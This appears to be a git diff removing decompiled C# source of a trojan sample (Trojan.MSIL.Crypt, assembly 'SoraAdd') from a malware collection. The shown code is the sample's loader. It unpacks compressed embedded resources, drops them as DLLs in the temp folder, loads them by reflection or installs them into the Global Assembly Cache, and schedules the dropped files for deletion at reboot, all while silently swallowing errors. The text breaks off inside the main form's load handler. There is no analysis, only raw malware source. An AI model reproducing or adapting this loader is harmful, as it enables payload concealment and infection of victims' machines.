C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0001; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0004 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0004.\u0001 \u0003; - internal static \u0004.\u0001 \u0004; - internal static \u0004.\u0002 \u0005; - internal static \u0004.\u0002 \u0006; - internal static \u0004.\u0003 \u0007; - internal static \u0004.\u0003 \u0008; - internal static \u0004.\u0004 \u000E; - internal static \u0004.\u0004 \u000F; - internal static \u0004.\u0005 \u0010; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0005 - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0001.cs deleted file mode 100644 index 051af94b..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0001.cs +++ /dev/null @@ -1,301 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0001; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0002 -{ - internal sealed class \u0001 - { - private static Hashtable \u0001 = new Hashtable(); - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); - - [SpecialName] - internal static bool \u0003() - { - try - { - string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (lower == "w3wp.exe") - return true; - if (lower == "aspnet_wp.exe") - return true; - } - catch (Exception ex) - { - } - return false; - } - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0001.\u0003); - if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0002.\u0001.\u0003()) - return; - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - try - { - string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index])); - string str2 = strArray[index + 1]; - if (str2.Length > 0) - { - if (str2[0] == '[') - { - int num = str2.IndexOf(']'); - string str3 = str2.Substring(1, num - 1); - string name = str2.Substring(num + 1); - bool flag = str3.IndexOf('z') >= 0; - if (str3.IndexOf('f') >= 0) - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] buffer = new byte[length]; - manifestResourceStream.Read(buffer, 0, length); - if (flag) - buffer = \u0003.\u0003(buffer); - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) name); - Directory.CreateDirectory(path1); - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(str1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Close(); - } - \u0002.\u0002.\u0003(path2); - try - { - File.Delete(path2); - Directory.Delete(path1); - } - catch - { - } - } - catch (Exception ex) - { - } - } - } - } - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(obj1.Name); - string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0003(false))); - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - string str1 = string.Empty; - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String1) - { - str1 = strArray[index + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0004.Length == 0) - { - string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String2) - { - str1 = strArray[index + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - int num = str1.IndexOf(']'); - string str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('g') >= 0; - flag3 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - return (Assembly) \u0002.\u0001.\u0001[(object) str1]; - } - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0003.\u0003(numArray); - if (flag2) - { - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - Assembly assembly = (Assembly) null; - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - if (\u0002.\u0002.\u0003(path2)) - assembly = Assembly.Load(obj.\u0003(true)); - File.Delete(path2); - Directory.Delete(path1); - if ((object) assembly != null) - { - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - assembly = (Assembly) \u0002.\u0001.\u0001[(object) str1]; - else - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly); - } - return assembly; - } - } - } - catch - { - } - } - Assembly assembly1 = (Assembly) null; - if (!flag3) - { - try - { - assembly1 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag3 = true; - } - catch (BadImageFormatException ex) - { - flag3 = true; - } - } - if (flag3) - { - try - { - string path3 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path3); - string path4 = path3 + obj.\u0001 + ".dll"; - if (!File.Exists(path4)) - { - FileStream fileStream = File.OpenWrite(path4); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u0002.\u0001.\u0003(path4, (string) null, 4); - \u0002.\u0001.\u0003(path3, (string) null, 4); - } - assembly1 = Assembly.LoadFile(path4); - } - catch - { - } - } - lock (\u0002.\u0001.\u0001) - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly1); - return assembly1; - } - } - return (Assembly) null; - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0002; - public string \u0003; - public string \u0004; - - public string \u0003([In] bool obj0) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(this.\u0001); - if (obj0) - { - stringBuilder.Append(", Version="); - stringBuilder.Append((object) this.\u0002); - } - stringBuilder.Append(", Culture="); - stringBuilder.Append(this.\u0003.Length == 0 ? "neutral" : this.\u0003); - stringBuilder.Append(", PublicKeyToken="); - stringBuilder.Append(this.\u0004.Length == 0 ? "null" : this.\u0004); - return stringBuilder.ToString(); - } - - public \u0001([In] string obj0) - { - this.\u0002 = new Version(); - this.\u0003 = string.Empty; - this.\u0004 = string.Empty; - this.\u0001 = string.Empty; - string str1 = obj0; - char[] chArray = new char[1]{ ',' }; - foreach (string str2 in str1.Split(chArray)) - { - string str3 = str2.Trim(); - if (str3.StartsWith("Version=")) - this.\u0002 = new Version(str3.Substring(8)); - else if (str3.StartsWith("Culture=")) - { - this.\u0003 = str3.Substring(8); - if (this.\u0003 == "neutral") - this.\u0003 = string.Empty; - } - else if (str3.StartsWith("PublicKeyToken=")) - { - this.\u0004 = str3.Substring(15); - if (this.\u0004 == "null") - this.\u0004 = string.Empty; - } - else - this.\u0001 = str3; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0002.cs deleted file mode 100644 index 0fd4fcd4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0002.cs +++ /dev/null @@ -1,174 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0002 - { - [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)] - internal static extern int \u0003(out \u0002.\u0002.\u0007 ppAsmCache, uint dwReserved); - - public static bool \u0003([In] string obj0) - { - \u0002.\u0002.\u0007 ppAsmCache = (\u0002.\u0002.\u0007) null; - return \u0002.\u0002.\u0003(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0002(0U, obj0, IntPtr.Zero) == 0; - } - - public struct \u0001 - { - public int \u0001; - public int \u0002; - } - - public struct \u0002 - { - public \u0002.\u0002.\u0001 \u0001; - public long \u0002; - public Guid \u0003; - public \u0002.\u0002.\u0001 \u0004; - public int \u0005; - public int \u0006; - public int \u0007; - public \u0002.\u0002.\u0001 \u0008; - public string \u000E; - public int \u000F; - public int \u0010; - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000000c-0000-0000-C000-000000000046")] - [ComImport] - public interface \u0003 - { - void \u0001(IntPtr pv, uint cb, out uint pcbRead); - - void \u0002(IntPtr pv, uint cb, out uint pcbWritten); - - void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition); - - void \u0001(ulong libNewSize); - - void \u0001(\u0002.\u0002.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten); - - void \u0001(uint grfCommitFlags); - - void \u0001(); - - void \u0001(ulong libOffset, ulong cb, uint dwLockType); - - void \u0002(ulong libOffset, ulong cb, uint dwLockType); - - void \u0001(out \u0002.\u0002.\u0002 pstatstg, uint grfStatFlag); - - void \u0001(out \u0002.\u0002.\u0003 ppstm); - } - - [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0004 - { - void \u0001(\u0002.\u0002.\u0005 pName); - - void \u0001(out \u0002.\u0002.\u0005 ppName); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags); - - void \u0001(out int wzDynamicDir, ref uint pdwSize); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] - [ComImport] - internal interface \u0005 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - object refIID, - object pAsmBindSink, - \u0002.\u0002.\u0004 pApplicationContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - int pvReserved, - uint cbReserved, - out int ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint lpcwBuffer, out int pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(\u0002.\u0002.\u0005 pName, uint dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out \u0002.\u0002.\u0005 pName); - } - - [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0006 - { - void \u0001( - [MarshalAs(UnmanagedType.LPWStr)] string pszName, - uint dwFormat, - uint dwFlags, - uint dwMaxSize, - out \u0002.\u0002.\u0003 ppStream); - - void \u0002(\u0002.\u0002.\u0005 pName); - - void \u0001(uint dwFlags); - - void \u0002(uint dwFlags); - } - - [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0007 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - uint dwFlags, - IntPtr pvReserved, - out \u0002.\u0002.\u0006 ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0003.cs deleted file mode 100644 index 0c15aa31..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0003.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0002; -using System; - -namespace \u0002 -{ - internal sealed class \u0003 - { - public static void \u0003() - { - try - { - \u0001.\u0003(); - } - catch (Exception ex) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0004.cs deleted file mode 100644 index 50732e39..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0002/_0004.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using System; - -namespace \u0002 -{ - internal sealed class \u0004 : Attribute - { - public \u0004(string s) - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0001.cs deleted file mode 100644 index 730e1f99..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0001.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Windows.Forms; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0001 : WindowsFormsApplicationBase - { - [EditorBrowsable(EditorBrowsableState.Advanced)] - [DebuggerHidden] - [STAThread] - internal static void \u0003(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - \u0003.\u0003.Application.Run(Args); - } - - [DebuggerStepThrough] - public \u0001() - : base(AuthenticationMode.Windows) - { - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) \u0003.\u0003.Forms.Form1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0002.cs deleted file mode 100644 index 78d94001..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0002.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace \u0003 -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class \u0002 : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0003.cs deleted file mode 100644 index 34528a7d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0003/_0003.cs +++ /dev/null @@ -1,221 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0003; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0003 -{ - [HideModuleName] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - internal sealed class \u0003 - { - private static readonly \u0003.\u0003.\u0002<\u0002> \u0001 = new \u0003.\u0003.\u0002<\u0002>(); - private static readonly \u0003.\u0003.\u0002<\u0001> \u0002 = new \u0003.\u0003.\u0002<\u0001>(); - private static readonly \u0003.\u0003.\u0002 \u0003 = new \u0003.\u0003.\u0002(); - private static \u0003.\u0003.\u0002<\u0003.\u0003.\u0004> \u0004 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0004>(); - private static readonly \u0003.\u0003.\u0002<\u0003.\u0003.\u0001> \u0005 = new \u0003.\u0003.\u0002<\u0003.\u0003.\u0001>(); - - [DebuggerNonUserCode] - static \u0003() - { - } - - [HelpKeyword("My.Computer")] - internal static \u0002 Computer - { - [DebuggerHidden] get => \u0003.\u0003.\u0001.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static \u0001 Application - { - [DebuggerHidden] get => \u0003.\u0003.\u0002.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => \u0003.\u0003.\u0003.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static \u0003.\u0003.\u0004 Forms - { - [DebuggerHidden] get => \u0003.\u0003.\u0004.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static \u0003.\u0003.\u0001 WebServices - { - [DebuggerHidden] get => \u0003.\u0003.\u0005.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - internal sealed class \u0004 - { - public \u0004.\u0003 \u0001; - [ThreadStatic] - private static Hashtable \u0002; - - public \u0004.\u0003 Form1 - { - [DebuggerNonUserCode] get - { - this.\u0001 = \u0003.\u0003.\u0004.\u0003<\u0004.\u0003>(this.\u0001); - return this.\u0001; - } - [DebuggerNonUserCode] set - { - if (value == this.\u0001) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.\u0003<\u0004.\u0003>(ref this.\u0001); - } - } - - [DebuggerHidden] - private static T \u0003(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (\u0003.\u0003.\u0004.\u0002 != null) - { - if (\u0003.\u0003.\u0004.\u0002.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - goto label_10; -label_4: - \u0003.\u0003.\u0004.\u0002.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - \u0003.\u0003.\u0004.\u0002.Remove((object) typeof (T)); - } -label_10: - \u0003.\u0003.\u0004.\u0002 = new Hashtable(); - goto label_4; - } - - [DebuggerHidden] - private void \u0003(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0004() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0004); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class \u0001 - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal System.Type \u0003() => typeof (\u0003.\u0003.\u0001); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T \u0003(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void \u0003(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0001() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class \u0002 where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) \u0003.\u0003.\u0002.\u0001 == null) - goto label_2; -label_1: - return \u0003.\u0003.\u0002.\u0001; -label_2: - \u0003.\u0003.\u0002.\u0001 = new T(); - goto label_1; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public \u0002() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0004/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0004/_0003.cs deleted file mode 100644 index 4645ffeb..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167/_0004/_0003.cs +++ /dev/null @@ -1,208 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.btlb-6da145ad243e668e8980779ac0edaac4955308854ffb9202c1af219628a01167.exe - -using \u0004; -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.Drawing; -using System.IO; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace \u0004 -{ - [DesignerGenerated] - internal sealed class \u0003 : Form - { - private IContainer \u0001; - private const string \u0002 = "YesNewBeg"; - - [DebuggerNonUserCode] - public \u0003() - { - \u0003 obj = this; - // ISSUE: virtual method pointer - this.Load += new EventHandler((object) obj, __vmethodptr(obj, \u0003)); - this.\u0003(); - } - - [DebuggerNonUserCode] - protected override void Dispose(bool disposing) - { - try - { - if (!disposing || this.\u0001 == null) - return; - this.\u0001.Dispose(); - } - finally - { - base.Dispose(disposing); - } - } - - [DebuggerStepThrough] - private void \u0003() - { - this.SuspendLayout(); - this.AutoScaleDimensions = new SizeF(6f, 13f); - this.AutoScaleMode = AutoScaleMode.Font; - this.ClientSize = new Size(292, 55); - this.Name = "Form1"; - this.Text = "Form1"; - this.ResumeLayout(false); - } - - private void \u0003(object sender, EventArgs e) - { -label_0: - int num1; - int num2; - try - { - ProjectData.ClearProjectError(); - num2 = -2; -label_1: - int num3 = 2; - string tempPath = 